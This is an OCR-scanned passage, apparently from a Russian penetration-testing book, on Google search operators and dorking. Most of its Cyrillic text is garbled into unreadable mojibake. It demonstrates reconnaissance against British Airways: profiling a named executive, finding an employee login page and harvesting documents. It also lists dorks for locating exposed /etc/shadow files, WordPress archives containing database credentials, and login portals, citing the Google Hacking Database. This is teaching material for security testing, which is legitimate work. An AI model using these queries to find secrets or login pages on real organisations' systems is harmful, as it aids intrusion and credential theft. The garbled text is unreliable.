[IpaBza, k TOMy BpeMeHH, Kak aTa nH(OpPMAIIHs CTAaHET AOCTYITHA HTMPOKOMY KPYTy
M0JIb30BATENCH, OHA, BEPOATHO, TOTEPSIET CBOIO aKTYATbHOCTH, BE/Ib KOMIIAHUHN pe-
TYJISIPHO BHOCSIT U3MEHEHUS B paboTy aaroputmMoB. COOTBETCTBEHHO, TIOCJIE STOTO
M3MEHUTCS MECTO caliTa B pe3yJbTaTax BbIaud. ITO MOXKET MPUBECTH K TOMY, UYTO
ecJid paHblie Tpebyemast BaM WHOOPMaI HAXOAUIACh Ha TIEPBOM CTpaHUIlE pe-
3yJIBTATOB IIOMCKA, TO Yepe3 HeJleJsIo Ta ke CTPaHn1la, HallleHHas 110 TOMY JKe CaMo-
My 3a1pocy, 6y/IeT pacroiaratbcst B CaMOM KOHIIE. A BeJlb 110 CTATUCTUKE GOJIbIIast
YacTb TOJb30BATENIEN PEIKO TPOCMATPUBAET aske BTOPYIO CTPAHUILY Pe3yJIbTaTOB.

OcnosHble TionckoBbie cucrembl — Google, Yandex, Bing u ap. — gaioT HaMm BO3-
MO’KHOCTD MCII0JIb30BaTh UX OECILIaTHO. Y KaxKI0i IIOMCKOBOW CUCTEMBI €CTh CBOM
0CO0bIil CHHTAKCHC, KOTOPBIN MOMOKET HallTH MMEHHO Ty MH(DOPMAIIMIO, KOTOpast
HaM HY>KHA, OT(UIBTPOBBIBAsI HEHYKHbIE JlaHHble. PaccMaTpuBaTh MPUMEPbI T10-
HCKa MHTEPeCyoLMX Hac AaHHbIX HauHeM ¢ Google BBUY TOrO, 4TO 5Ta IIOMCKOBast
cucTeMa SIBJISIeTCST OJTHOM M3 CaMbIX TIOMYJISIPHBIX, COEPIKUT OTPOMHOE KOJIMYECTBO
undopMmaiy 1 00J1a1aeT XOPOLIO Pa3BUTLIM CUHTAKCHCOM HAIIMCAHKS 3aIIPOCOB.

Knwouesble coBa

[Tpeskie ueM OKYHAThCsl € TOJIOBOM B 1e6PU HAIIMCAHMS 3aIIPOCOB, CTOUT 3aTPOHYTh
TeMy KJIOUEBBIX CJIOB, KOTOPast ABJsETCS 001Ieil I BCeX MOUCKOBBIX CUCTEM.
[TpaBuIbHO HATMCAHHBII 3aMPOC MO3BOJIUT TIOMCKOBBIM CUCTEMaM BbIAATh HoJiee
PEJIEBAaHTHBIN PE3yJBTAT ¢ MEHBIINM KOJMYECTBOM HEHYKHON MHMOPMAIIH, YTO
YIPOCTUT ee 06paboTKY.

Korza nonckosbie poOOThI aHATU3UPYIOT CTPAHUIIBL, OHU YAEJISIOT 0CO00e BHUMAHIE
BCTPEYAIOIIUMCS KJIIOUEBbIM cJI0BaM. VIcoJib3yst pa3jinutble KJIIOYeBbIe CJI0BA, Bbl
Gyere mMoJIyyaTh OTINYAIOINIMECS IPYT OT JIPyTa PE3YJIbTaThI, aKe €CJIU MbI TOBO-
pUM 0 cHHOHMMaxX. Hatr Mo3T yCcTpoeH TakuM 0OpasoM, 4TO MBI BCEr/a CTapaeMcst
HAXOUTh ObICTPBIE U JIETKKE PEIIEHNUS, @ 9TO, B CBOIO OUepe/ib, IPUBOAMT K TOMY, UTO
MbI HAUMHAEM MBICJIUTH IHAOJIOHHO U UCIIOJIb30BATh Te JKe IIOMCKOBBIE 3aIIPOCHI, UTO
1 MUJLIMOHBL [T0JIb30BaTeseil. B 0ObIlunoil >Kk13H1M 9TO HaM Jaske moMoraer, 1a 1 SEO-
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CIIEIUATUCTBI ONTUMUHUPYIOT CTPAHUIIBI TAKUM 00PasoM, YTOObI Mbl MOTJIN UX HAUTH
GBICTPO ¥ JIETKO C TIOMOIIBIO CAMBIX MOTYJISIPHBIX 3AITPOCOB, TEX, KOTOPBIE TIEPBBIMI
IPUXOJIAT B roJioBy. J[pyroe /ies10, eciim Mbl XOTUM HAalTH He IpeiHasHauYeHHYIO /715
MIMPOKOTO KPyTa MoJb30BaTeseil nHPOPMAIINIo, KOTOPYIO MOTJIH, HAallpuMep, 110
omubKe CAETATh JOCTYITHOW MONCKOBBIM CHCTEMAM, HO KOTOPAsT COBEPIIEHHO He
OTITUMHU3WPOBAHA JIJIS MH/EKcany. Ha Takmx cTpaHUIax MOTYT CO/IepKaThCs CO-
KpallleHuUsT, TeXHUYeCKHUe TEPMUHBI U TPaMMaTHYeCKUe oMok, VIMEHHO 1715t TOMCKa
Takoit WHMOPMAIIUU U BO3HUKAET HEOOXOMMOCTh MOAGOPa KIIOYEBBIX CITOB.

BeByCJIOBHO, CUaeTb n HpI/II[yMbIBaTb BO3MOJXHbIE BapI/IaHTbI SHHPOCOB — 3a/lava
HeJIeTKast U He Beeria GJaroiapHasi, oaToMy JIJist 00JIerdeHusT JAaHHOU 3a1aui ObLIO
CO3/IaHO HECKOJIBKO XOPOIIMX MHCTPYMEHTOB:

e https://ads.google.com/intl/ru_ru/home/tools/keyword-planner/;
e https://www.onelook.com/reverse-dictionary.shtml;
e https://wordstat.yandex.ru/.

MbrI He Gy/eT OCTaHABIUBATHCST HA HUX MOAPOOHO, BEIb TAKON TOMCK — CJUITKOM
TOHKO CIeUAIU3UPOBAHHAs PaO0Ta U BBIXOJUT 33 PAMKH COAEPKAHM 9TON KHUTH.

Google

Ha mannsiii MomenT Google siBiisieTcst 0HOM 13 caMblil HOIYJISIPHBIX TIOMCKOBBIX CH-
CTEeM B MUPE; COTJIACHO CTATHCTUKE, EXKeTHEBHO ee NCTIONB3YeT Ooee 75 % aKTUBHBIX
HOJIb30BATEJ €N MHTEPHETA, OTIIPABJISSE OKOJIO 5 MJIP/L 3A1IPOCOB B JIEHb.

CaMbIM [IPOCTHIM CIIOCOOOM B3aUMOIEHCTBHUS C 9TOM CUCTEMOM SIBJISIETCSI KCIIOJIb30-
BaHue BeO-BEPCUH, /I HTOTO AOCTATOYHO OTKPBITh CTPAaHIUKY google.com 1 BBeCTH
nouckoBoii 3anpoc. Google Takske HOAIEPKUBAET FOJOCOBON BBOJ I MOYKET MCKATh
uH(bOpMaIKIO 110 U300pakeHnI0. TakoH IIOMCK JOCTaTOYHO TPUBUAIEH U BCEM 3Ha-
KOM, TIO9TOMY PaCCMOTPUM Jiajiee CIIeIUaTbHbIE ONIEPATOPHI JJIsI yTOUHEHUS 3a1IPpoca
1 TIOBBILIEHUSI PEJIEBAHTHOCTH BbIJAYM.

ITouck B conuanbHbIX ceTax. [IpeanonoxnM, B Xo/ie TOBEPXHOCTHOTO U3YYCHUS
uropmanuu o aBuakomanuu British Airways (Bpuranckue aBuainann) 8 Buku-
eI MBI y3HAJIN, YTO HA JIAHHBIIT MOMEHT PYKOBO/ICTBO KOMIIaHUEH OCYIIeCTBIISET
Hekwii [Tlon ot (Sean Doyle). TTockosbky 910 3apyGeskHas KOMIIAHMUST, TO CKOPee
BCETO, e PYKOBOJCTBO Hcmonb3yer Facebook murst kommymukarim. TTouck 1o 3armpo-
cy @facebook:sean doyle BbIJJACT HAM CJIMIIIKOM MHOI'O IAaHHBIX: OKa3bIBAETCS, €CTh
MHOTO JIIOJIEH ¢ TAKUM UMeHeM U (haMUJIUeid.

OrpaHnunM HaIl MOUCK, UCTOTBb3Ys onepaTtop AND. Hac Benb mHTepecyeT TOJBKO
TOT YeJIOBEK, KOTOPBII CTOUT BO IJlaBe KPYyIIHO Kopropauuu. Pesysibrar noucka
MpeJ/icTaBJIeH Ha puc. 3.2.

Kak Mbl BUgUM, Telepb HAM YAaJ0Ch MOJYyIUTh GoJiee PeJIeBAHTHBI OTBET. MbI
YBU/IEJIH TTPOMUIIL 3TOTO YeJTOBEKa B COIMAIBHON CeTH, Y3HAIN, KaK OH BBITJISI/INT,
U TAsKe MOKEM TIOTyIUTh OGPA3ET] €T0 TOI0CA € TTPEICTABIEHHBIX BU/IEO.
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Hacking DB [

in Facebo Sean Doyle and

Puc. 3.2. Pe3ynbTaT noucka no 3anpocy @facebook:sean doyle AND british

Tenepb KOPOTKO PaCCMOTPHUM €1I€ HECKOJIbKO OIIepaTOpPOB.

[/t mOMCKa MO XeNITeraM J0CTaTOYHO M06aBUTH CUMBOJ # B HAYAJO CTPOKH, Ha-
npumep: #punksnotdead. B pesysibraTe Mbl MOJYYNUM CCBHUIKH Ha COIMATIBHBIE CETH
(Facebook, VK, Instagram, Tiktok u T. 1.) 1 gpyrue pecypcsl, Tae BCTpedaeTcs AaH-
HBIN TeT.

[l IOMCKa TOYHOTO COBNA/IeHHsI HEOOXONMO UCTIOMh30BaTh KaBbruku "". Yarre
BCET0 UX UCIIOJIb3YIOT /LIS IoUCKa TOYHbIX (hpas. Tak, MoucK 110 cjoBaM unattended
administrator login Bo3BpalllaeT HaM Pa3JIMYHbIE CAITBI C OTTMCAHUEM 3TOTO CII0CO-
6a ZIocTyI1a, a BOT IIOKCK T10 3apocy "unattended administrator login" yike BbigaeT
TOJIBKO CCBIIKH Ha CTPAHUIIBI ¢ (DOPMaMH TOCTYTIA K CHCTEMAaM.

Paspaborunku Google HECKOTBKO YIPOCTHIN HaM paboTy TTO TOHKOMY TTOA60PY
KJTIOYEBBIX CJIOB, 06aBUB B CIIUCOK OTIEPATOPOB TUIIBAY ~. [IPEAMonoKum, BaM Hajio
HalTH IpUMepbI peasinsaruu xss-atak. [1o samnpocy xss attack ~example Google
BBIZIACT Pe3yJAbTaThl, COOTBETCTBYIOIINE 3aIpocaM xss attack tutorial, xss attack
script u T. 1.

Teneps paceMoTpuM elie onuH Jorundeckuii oneparop — UJIMA. B Google o o6o3Ha-
yaeTcs cUMBOJIOM |. CKaskeM, BbI y3Ke IIPOCMOTPEIH MHOKECTBO IIPUMEPOB XSS-aTaK
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U Terepb XOTHUTE HAWTH TIPUMED UX peasusauy Ha php wiau javascript. Toraa Bari
3arpoc OyeT BBITJISAETh Tak: xss attack example php|javascript.

[l MCKJIIOYeHHs KakuX-1100 CJI0B 13 pe3yJibraTa MOMCKa MCIOAb3yeTCs olepa-
TOp -. Ecain BBI yiKe HaIIM MHOKECTBO IIPUMEPOB Peanusalui ataku Ha php, HO
BaM IOMAJAETCs CJMIIKOM MHOTO pe3yJibraToB oT Bright security, nx MOKHO MCKJIIO-
YUTh U3 PE3yJIBTATOB TOUCKA TIPU MTOMOIIIN ATOTO oTlepaTopa: xss attack example
php|javascript -bright.

Ecau BbI He MoKeTe TOUHO c(HOPMYIUPOBATH 3AITPOC, BOCIOAb3YHTECH CUMBOJIOM *,
OH 03HauaeT Moboe ciaoBo. [1o 3apocy xxs * BBI MOJYUUTE CCHIIKU HE TOJBKO Ha
MHGOPMAIHIO [0 JAaHHOMY TUITY YA3BUMOCTEMN, HO M CCHLIKHM Ha KyPChl M IOKYMEH-
TAIUIO 10 pa3paboTKe.

ITouck B onpeaeeHHOM HHTEPBaJe 3HAYEHHH MOKHO OCYIIECTBUTD, TPUOETHYB
K MCTIOIb30BAHMIO OTIepaTopa . .. Haiizem, nampumep, urbopMmariiio 0b yTedke maH-
HBIX KIMEeHTOB bputanckux apuanunuii B mepuo/i ¢ 2016 mo 2020 rox. Pesyasrarsl,
IIOJIyYEHHBIE 110 3arpocy british airways data leasks 2016..2020, TO3BOJIAIOT
HaM y3HATBh, YTO yTeUKa AeHCTBUTEIHHO NMesa MecTo B 2018 roxy.

[ly1s1 moucka mMOX0KUX CTPAHMIL HCIIOJIBb3YWTe orlepaTop related:; mo 3ampocy
related:vk.com Google BosBpalaer crpaHuIlb C TIOX0KeH TeMaTUKO — 9T0 ObIBaeT
MI0JIE3HO, KOT/Ia BBI UIlleTe MH(OPMAIIUIO HA PEKUE TEMBI.

Wnorpa ciyyaercs Tak, 4To a/IMUHUCTPATOPDI YAAIAIOT NHOOPMAIIMIO CO CTPAHUIL
caiiTa UM MEHSIOT ee, HO KaK Mbl 3HaeM, UHTepHeT IIOMHUT BCe, B TOM YHCJIe 9TO
kacaetcst Google. ITa cucrema jlaetT HaM BO3MOKHOCTD TOCMOTPETH CTPAHUILY B TOM
BH/IE, B KAKOM OHa OblJIa BO BPEMsI MHAEKCUPOBAHUS ee POOOTaMU, — JIJIs HTOTO HYK-
HO BOCIIOJIb30BaThCS OIIepaTOPOM cache:, HalipuMep cache:ria.com.

[Ipenmonoxum, Ham Hy:kHA UH(POPMAIUA 0 BpUTaHCKIX aBUATTMHUSX, [IJIS1 3TOTO TI0-
poOyeM OCYIIECTBUTD ITOUCK MO KJIIOYEBBIM CJI0BaM British airlines. Pesyubrar
MOoKa3aH Ha puc. 3.3.

Kak BusnM, 1o HatemMy 3arpocy ToMCKoBas cucteMa Bbijjasia Ham 130 MutH pesyJib-
taTtoB. COTTacUTECH, UTO €CJIU Balllell 3afaveil siBasieTcs cOOp UHbOPMAIIUHT /TS
HOCJIE/LYIOIIEro poBe/ieHus Tecta Ha nponukHosenne B VIC bpuranckux apuasiu-
HUIT, TO 06pabOTKa BCEX PE3yJIBTATOB TIOMCKA 3aliMET HE OJIMH MECSIL aKe Y 1eI0i
KOMaH/IbI CIICIIIAJINCTOB. Honp06yeM IIPUMEHNTDH CIICIMAJIbHbIE OIIEPATOPDI AJIA
YTOYHEHHUS 3aI1POCa.

YTounuwMm 3amnpoc, OrpaHUYUBIINCH TOJTBKO TOW MH(MOPMAIMel, YTO HAXOUTCS
HENoCPEICTBEHHO Ha cailTe KOMIaHWM, — K HallleMy 3arpocy 106aBUM oIepaTop
site:; MPE/IOTIOKNAM, UTO JIJIsI TOCTPOEHUS JATbHENIIEr0 BEKTOPa aTak Mbl XOTHM
HaiiTy (OpMBI /I BBOJA HapoJieil, — Tora Halll 3alIpoc OyAeT BHITJISAETh CIIeLy-
oM o6pasoM: login site:britishairways.com. IIpoaHannsupoBas GyKBaJIbHO
mepBble HECKOJIbKO CCHIJIOK, MBI HANLIN (hOPMY aBTOPU3AIUY COTPYAHUKOB aBUa-
kommaHuu (puc. 3.4), f1a elie U ¢ TPOCPOYEHHBIM CEPTU(PUKATOM, UYeM He JIAKOMBII
Kycodek?
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@ British airlines -

)

Kali Linux 8 Kali Tewls Kali D X Kali Forums ¥ Kali NetHunter = Ex

Google British

British
Airways BRITISH AT

nto Plan:

TEHEPANTLHBIA AHPEKTO

Pranu3aLma;

AEMEPHIE KOMMAHUA

raplc.com

Employee Selt Service - Login BRITISH AIRWAYS

Select login type

@BSAFE

P e R —

[Dan't know your passwned?

O Securnn

i | R | my begie cem

Puc. 3.4. ®opma aBTopm3aumnm ans COTPYAHMKOB aBUaKOMMNaHU1
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[lasmee paccMOTpUM OTTepaToOpPhI, KOTOPBIE TTO3BOJISIIOT OTPAHUYUTD TTOUCK UHQOP-
Malliu OIIpe/ieJIeHHbIMU YacTsAMU cTpaHull. Tak, oneparop allintext: orpaHuuur
MOMCK MCKJIIOUUTEIbHO nH(popMalmeii, Bctpevaoleiicsa Ha crpanutie. 1o 3ampocy
allintext:password login form Google BbIacT Te CTPaHUIIbI, HA KOTOPBIX BCTPEYa-
IOTCST BCE TPU CJIOBA (CJIE/IYET 3AMETUTD, UTO OHU He 00513aTeJIbHO HAXOISITCS PSIZIOM,
HO B TIpe/iesiaX OHOM CTPAHUIIHI ).

Caenyromuii orepatop allintitle: uier nadopmMaluio TOJbKO B Ha3BaHU-
ax crpanull. Ha puc. 3.5 npuBoauTcs: mpuMep pe3yJ/ibrata MOUCKA MO 3aIPOCy
allintitle:vnc login. OGparuTe BHUMAHWE, YTO HA3BAHUSI BCEX CTPAHUILL COJEPKAT
KOMOWHAIIIO 9TUX [IBYX CJIOB. DTOT JK€ OTMEPATOP MOXKHO MPUMEHSITH MPHU TTIOUCKE
KapTHHOK, TOT/[a TONCKOBAsI CHCTEMA BBIIACT BCE M300PAKEHsI, B HA3BAHWIX KOTO-
PBIX COLEPKUTCS 3aJaHHOE CJIOBO.

= Kal s M Kali Forums o2 Kali nter =

albnbllene login

Puc. 3.5. PesynbTat nomcka no 3anpocy allintitle:vnc login

Omneparop allinurl: 103BoJIsIeT UCKATh HY’KHbIE KJIIOUEBbIE CJIOBA UCKJIOUNTEIBHO
B url-anpecax crpanuir. [IpeacraBbre, YTO BBl XOTUTE HAWTH HECKOJIBKO KHUT JIJIsT
6oJree TIyGOKOTO M3yueHus TIporpaMMIpoBaist Ha python, u cosnaere sanpoc Tuma
allinurl:python book. Google BbiacT Bam mmeHHO Te crpanuiibl, B URL xkotopbie
comepskarcst 06a 9TUX KITOUEBBIX CJIOBA, — OTKPOEM MEPBYIO JKe CCHIIKY /IS TPO-
Bepku (puc. 3.6).
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@ Keal Bython

Make the Leap From Beginner to Intermediate in
Python...

Python Basics:
A Practical Introduction to
Python 3

Your Complete Python Curricufum—
With Exercises, Interactive Quizzes, and Sample
Projects

There's an overwhelming amount of _
infarmation abaut Pythen on the internet... PYTHON

But for many beginners (wha are studying on BASICS
their own), the lack of structure for what you f

should learn and in what arder is missing.

If you're wondering:

“What should | learn about

Puc. 3.6. URL nepBoWi CTpaHuLbl, HaaeHHol no 3anpocy allinurl:python book

ITouck daitnos. Yacro 1ist c6opa Gosiee 10IHOI MHbOPMaLUU HEOOXOAUMO He TOJIb-
KO [TPOAQHAIU3UPOBAThH JIaHHBIE C IOCTYITHBIX CTPAHUIL caiiTa OPraHu3aliy, HO TaKXKe
MOCMOTPETD, YTO COLEPKAT B cebe obtienocTyHbie daitibl. Bo BpeMst ogHoro us
TeCTOB Ha IIPOHUKHOBEHNE HaM YAAJI0Ch HAallTH KoH(puUTypammo ¢aiiepBosia mpes-
MPUATHS, @ B METAJIAHHBIX HEKOTOPBIX TEKCTOBBIX (hailIoB CcO/EePKAINCH UMEHA
TI0JTh30BaTe e, MCTIOTb3yeMble /7SI IOCTYTIa K Pa3TUIHBIM cricTeMaM. JlJist moncka mo
(aiiiam cylecTByeT clielaibHbiil orepatop filetype:. Hampumep, 4Tobbl HaliT
BCe I0KyMeHTBI B (hopmare doc, onybinKoBaHHbIe BpUTaAHCKUMU aBUATHHUSIMU,
COCTaBUM CJIEYIONIMH 3arpoc: site:britishairways.com filetype:doc (puc. 3.7).

[Tocse 6eryoro 03HAKOMIIEHS ¢ TIOTYIEHHBIME (hafllaMi MBI CMOTJTH 0OHAPY/KUTDH
MaHHBIE HECKOJIBKUX MOIB30BATEISAX U MH(MOPMAIHIO O TPOTPAMMHOM 0OECTIEUEHHH,
KOTOPOE, BO3MOKHO, UCIIOJIb3YeTCS Ha MTPETPUATHN.

Terepn, KOT/IA y Bac €CTh MpefICTaBIeHre 0 6a30BbIX ormeparopax moncka B Google, Bbr
MOJKETEe CaMOCTOSITETBHO ITPUAYMBIBATD 3aTIPOCHI JJIsI TIOUCKA HEOOXOAMMBIX JaHHBIX
MJIN YSI3BUMBIX YacTell MH(POPMAIMOHHON CUCTeMBI T1esieBoro npeanpusitusi. Cpasy
OTOBOPHUMCS, 9TO JIOCTATOYHO TBOPUECKUIL IIPOIIECC U BaM MPUAETCS ITOTPYAUTHCS,
4TOOBI HAOUTD PYKY.

JlJtst yIIpoTIeH st TPoIecca CO3MaHms TaKuX 3ampocoB y Google ecTb crermaabHbIit
WHCTPYMEHT, C KOTOPBIM BaM CTOUT O3HAKOMUTHCS. OTHAKO YUTHUTE, UTO U Y HETO €CTh
OrpaHUYEeHUS U MHOT/IA JIyYIlle COCTABJIATD 3alIPOCH CaMOCTOATEIbHO. KoHCOb /1715
pacuImpeHHOTo oKCcKa MoKaszatna Ha puc. 3.8.
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Kali Linwe @ Kali T

Google

Actions  Edit View Help

THE MODE}

Lins

Google

HafTh cpass=

LN LI

oaxsnare s4np

Puc. 3.8. KoHconb Google ansa pacumpeHHoro nomcka google.com/advanced_search
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Google ans B3noma

Google Hacking Databse (puc. 3.9) 6bura cozmamna [lsxomnn Jlonrom (Johnny Long)
¥ COJEPKUT MHOKECTBO PACIIMPEHHBIX 3alipocoB st orcka B Google. C ux mo-
MOII[BIO BbI MOKETE OOHAPYKUTD:

® Bel-cepBepsl, Co/lePKAIIie YSI3BUMOCTH;

® (bailuibl, cofeprKaliiie MeHa M0JIb30BaTeNel U ITapoJI;

® OTKPBITBIE JIJIST BCEOOIIETO OCTYIIA IUPEKTOPUH, TOTEHIIMAIBHO COIEPIKAIIIE
uHGbOPMAIIHIO, KOTOPAst TIOMOYKET BaM IIPOHUKHYTH B I[€JIEBYIO CUCTEMY, HATIPIME]D
KOH(UTYpaIOHHbIE (DAl BEO-TTPUIIOKEHUIT;

e KoH(purypairoHHsie (ailibl hallepBoJIOB, JKYPHAJIBI CHCTEM, Oasbl JaHHBIX;
® T[IaHeJu YIPaBJeHUs PAa3JINIHBIMU BCTPAUBAEMBIMU CHCTEMAMM;

® BHYTPEHHUE IMOPTAJIbl OPTaHU3AINI;

MHOTO€ JIpyTroe.

o —EXPLOIT
DATABASE

Google Hacking Database

shw| - | Quick Search

»E : :1 » Dork Category Author
20230313 intext"index of” smb.conf Files Containing Juicy Info Konaté Qlivier
20230312 inurbrobats Rletypete Fibes Containing Juicy Info Konaté Dlivier
2023-03-09  Re: New Dork Submission for Google Hacking Database I! Files Containing Juicy Info |=hwear Kumar
20230309  intextindex of” “wp-contenl.zip” - Files Containing Juicy Info Files Containing Juicy Info Sharique Raza
2023-03-08  inurl device.rsp® -in Various Online Devices Sanu Jose M
20230307  intitle:"index: of" nurl-admin/login Files Containing Juicy Info AJAY JOSEPH
2023-03-07  intitle:"index of” fete/shadow File= Containing Juicy Info Huszain Salesm
20230307 Inquiry aboul Search Resulls for intitleindex.ofl” *53 Files Containing Juicy Info Ritesh Sahu

Pages Containing Login

P am S5 rtal S
20230307  allintithe:"Cyberoam SSL VPN Portal Portals GirlsLearmCyber
2023.02-28  allintite: ProjectDax Login® Filez Containing Juicy Info Girlzl earnCyber
20730228 sitecernail..* intithe: login’ hgst Doslsiung Lagin Rezs Abasi
Portals
Pages Containing Logi
0230277 allintitle” OMERG, web - Login® P L Girlsl eamCyber

Portals

Pages Containing Login

-02:27 _ allintitfe"Untanale i Login® GirlsLeamCyber

Puc. 3.9. MaBHas ctpaHuua Google Hacking Database
(exploit-db.com/google-hacking-database)
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Ber MoskeTe cpasy 3amyCTHTh MTOWCK, UCTIONb3Ys CO3/[aHHBIE IPYTUMHU T0Th30BaTe-
JISIMM 3aITPOCHI, UM TIPU TIOMOIIY TIOJYyYeHHBIX PaHee 3HAHUI MOAUMUIINPOBATh
UX TaKUM 06Pa3oM, 4TOOBI OCYIIECTBIIATH MOUCK UMEHHO TI0 PECYPCaM IeJIeBoii
nH(GOPMAIIMOHHON CUCTEMBI.

Jlnst mpuMepa pasbepeM HECKOTHKO 3apoCcoB. B mepBoM cirydae MBI TTOTBITAEMCST
HAiTH CePBEPBI, T7Ie OTCYTCTBYET 3aIUTA OCTYIIA K AUPEKTOPIIIM M HAXOIHMTCS (DAt
wp-content.zip. [lorckoBoit 3ampoc, B3sITHIN € BINIEYKA3aHHOTO CATa, BBITJISAUT
caexylomumM o6pa3oM: intext: "index of" "wp-content.zip". [lepBas yacThb 3ampo-
ca BbIIaeT HaM cepBepbl (puc. 3.10), y KOTOPBIX eCTh He 3alUIeHHbIe /IS JOCTYTIa
JIUpeKTOpHH ¢ (hailstaMu, 0OBIUHO TIepest 0OTOOPAKEHUEM CITUCKA IOCTYMHBIX (hailsioB
(Takme CTpaHUIIBI BCET/IA COJEPIKAT 3aT0JIOBOK Index of).

@ intext:mindex of” - Mowex: % = Index of fitp

s/ feprch. e/t

KaliLinux § KaliTools ® KaliDocs N{ KaliForums 2 Kall NetHunter = Explolt-DE = Google Hacking DB J| OffSec

Index of /ftp

[coj] Name Last modified Size Description

[PARENTDIR] Parent Directory

[DIR] calendar/ 2023-01-02 08:14
[DIR] center/ 2023-03-08 10:14
[DIR] datas 2019-05-07 13:03
[DIR] mall/ 2016-12-02 15:28
[DIR] obs! 2023-01-08 03:40
[DIR] product/ 2022-05-27 13:19
[DIR] software! 2016-05-17 14:03
[DIR] station/ 2022-01-27 05:57

Apache/2.4.29 (Ubuntu) Server at epncb.eu Port 443

Puc. 3.10. MpumMep caiiTa, NO3BONASAIOLLErO NOAYYMTb AOCTYN K dharinam
no npotokony https

O6paruTe BHUMaHHUE: €CJIU BB BBeJleTe 3ampoc intext:"index of", To Google
BBIIACT BaM CIIMCOK He TOJIbKO C caliTaMM ¢ He3alUIEeHHbIMU JUPEKTOPUSAMHU, HO
U ¢ OOBIYHBIMI cafiTaMH, Ha CTPAHUIIAX KOTOPBIX BCTPEYAETCS TEKCT index of, a nx
JIOCTATOYHO MHOTO, U ITOMCK HYKHOTO HaM haiiia 3aliMeT oueHb MHOTO BpeMeHHU.
To ke KacaeTcst 1 BTOPOI 4acTH 3aIipoca — cama 110 ceOe Jist Halllel 1eJid OHa Ipak-
THYECKH OEeCTIOMe3Ha.

Coenunnm terepsb 06e wacTu 3ampoca. 1 aro mbl momydaem? OTpoMHOe MHOKE-
CTBO CAlTOB, C KOTOPBIX MOKHO CKayaTb MHTepecyIoluii Hac daits wp-content.zip
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(puc. 3.11). WordPress siBJisieTCst OIHOIT 13 CaMbIX TIOMYJIIPHBIX CHCTEM YIIPaBJICHUST
cailTaMi B CETH MHTEPHET, HA €€ OCHOBE CTPOSITCS KAK OIHOCTPAHUYHBIE CANUTBI, TAK
U MHTEPHET-Mara3uHbl. B ¢BOIO 04epejib, apXuB Wp-content.zip cogepkut daiiibl,
HeoOXOIUMbIE JIJIsT ee paboThI, BRIoUast wp-config.php. OTKpbIB aTOT haiin B ir060M
TEKCTOBOM PEAAKTOPE, MOKHO TIOJYUUTh JIOTHH U MapoJib OT 6asbl JaHHBIX, U 9TO
JIVIIITh OJIMH U3 TIPUMEPOB.

Index of fwp

U & spektartermo.com.mkiwg

KaliLinux & KaliTools ® KaliDocs N{ KallForums 2 Kall NetHunter = Explolt-DE = Google Hacking DB J| OffSec

Index of /wp

Farent Directory -
wp-adminzip  2020-09-28 11:46 266M
wp-content.zip 2020-09-28 12:02 814M
wp-includes.zip 2020-09-28 11:48 7.8M

Puc. 3.11. Pe3ynbTaTt noucka daina wp-content.zip

WHTepec MOKeT BbI3BaTh U (aiin robots.txt. ITOT dailil coaepKuT B cede mH-
CTPYKIUH IS TOMCKOBBIX POOOTOB, U, YTO CIIELUATINCTOB 110 NH(GOPMALMOHHOI
6€e30MacHOCTH UHTEPECYeT OOJIbIIIE BCETO, YaCTh ¢ YKa3aHUSMU, KaKUe AUPEKTOPUN
HEOOXOAUMO CKPBITh OT MHAEKCAIUU TOUCKOBbIMU CUCTEMAMM, — TH CTPOKH BCET-
Jla HAUMHATOTCST ¢ KJfoueBoro cyioBa Disallow (puc. 3.12). /lis vac aTo sBsieTcs
IPSMBIM yKasaTeJIeM Ha 11€JIb: UTO MOKeT ObITh HHTEPeCcHee, YeM II0OCMOTPETh Ha TO,
YTO TBITAIOTCS CKPBITH? J[J1sT oncKa Takux (hailjioB MOKHO MCIIOJIb30BATh 3a1IPOC
"robots.txt" "Disallow" filetype:txt.

Ente ofHrM MHTEpPECHBIM TTPUMEPOM MOKET CTaTh ToncK ¢aiisa shadow o 3anpocy
intitle:"index of" /etc/shadow. MDaiin shadow mcnosb3yeTcst B OMepamoHHbIX
cucremax Linux  Unix fy1s1 Xpanenust 3anmmPOBAHHBIX TTAPOJIEH TT0JIb30BaTEEH.
[Taposu xpausTcst He B OTKPBITOM BHjie B (haiijie /etc/passwd, a B daiisie /etc/shadow.
ITO TOBBIIITAaeT HE30MACHOCTD CUCTEMBI, TOCKOJIBKY TOJILKO aIMUHUCTPATOP CUCTEMBI
UMeeT JIOCTYT K MocJeiHeMY aiiiry.

Kpowme toro, daiin shadow comep:xut nadopmalnio o BpeMeH! TI0CJIeTHETO n3Me-
HEHU MapOJIsl U OTPAHUYEHUIX HA JJINHY TIAPOJIsS M YACTOTY €ro CMeHbL. JTO T10-
3BOJISIET A[MUHUCTPATOPY CHCTEMBI HACTPOUTD ITPaBUJIa GE30MACHOCTH JIJISt TAPOJIEit
110JIb30BaTeJIei.
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yale zdufrobals. xl = 4+ - u X
« 2> C @ O B httpsilivwwyale.edulrobots. txt B |150% 1Y @ & =
"t Kali Linx 89 Kali Tools [ Rali Docs ', Kali Forums & Kali NetHunter & Exploit-DB % Google Hacking DB | OffSec »

S o

Disallow: /scripts/
Disallow: /themes/

# Files

Disallow: /CHANGELOG.txt
Disallow: /cron.php
Disallow: /INSTALL.mysql.txt
Disallow: /INSTALL.pgsql.txt
Disallow: /INSTALL.sqlite.txt
Disallow: /install.php
Disallow: /INSTALL.txt
Disallow: /LICENSE.txt
Disallow: /MAINTAINERS.txt
Disallow: fupdate.php
Disallow: /UPGRADE.txt
Disallow: /xmlrpc.php

# Paths (clean URLs)
Disallow: /admin/

Disallow: /comment/reply/ b
Disallow: /filter/tips/
Disallow: /node/fadd/
Disallow: /search/

Disallow: fuser/register/
Disallow: /user/password/
Disallow: /user/login/

Puc. 3.12. CoaepxaHue daiina robots.txt, HaaeHHOro
yepes NomckoByto cuctemy Google

MonCKOBbIE CUCTEMBI, UCTONb3YtoWwme Google

Kak yske 661710 ckazatno, Google 3aHUMaeTCst He TOJIBKO MTPEA0CTaBIEHIEM YCIYT T10-
HCKa, HO M aKTUBHO cobupaeT MHMOPMAaIIio 00 MHTEpecax MoJb30BaTe e, HCTOPUIO
MMOMCKOBBIX 3aIPOCOB U IMOCeIaeMbiX caiiToB. C OJHOW CTOPOHBI, 3TO MO3BOJISIET
c/lesIaTh pe3yJibraThl MOKCKa Oojiee pesleBaHTHBIMU, C IPYTO — CO3aeT OIIaCHOCTb
BO3HUKHOBeHUS NH(POPMAIIMOHHOTO My3bIPs (CUTYallUsl, TPU KOTOPOI YETOBEK OKPY-
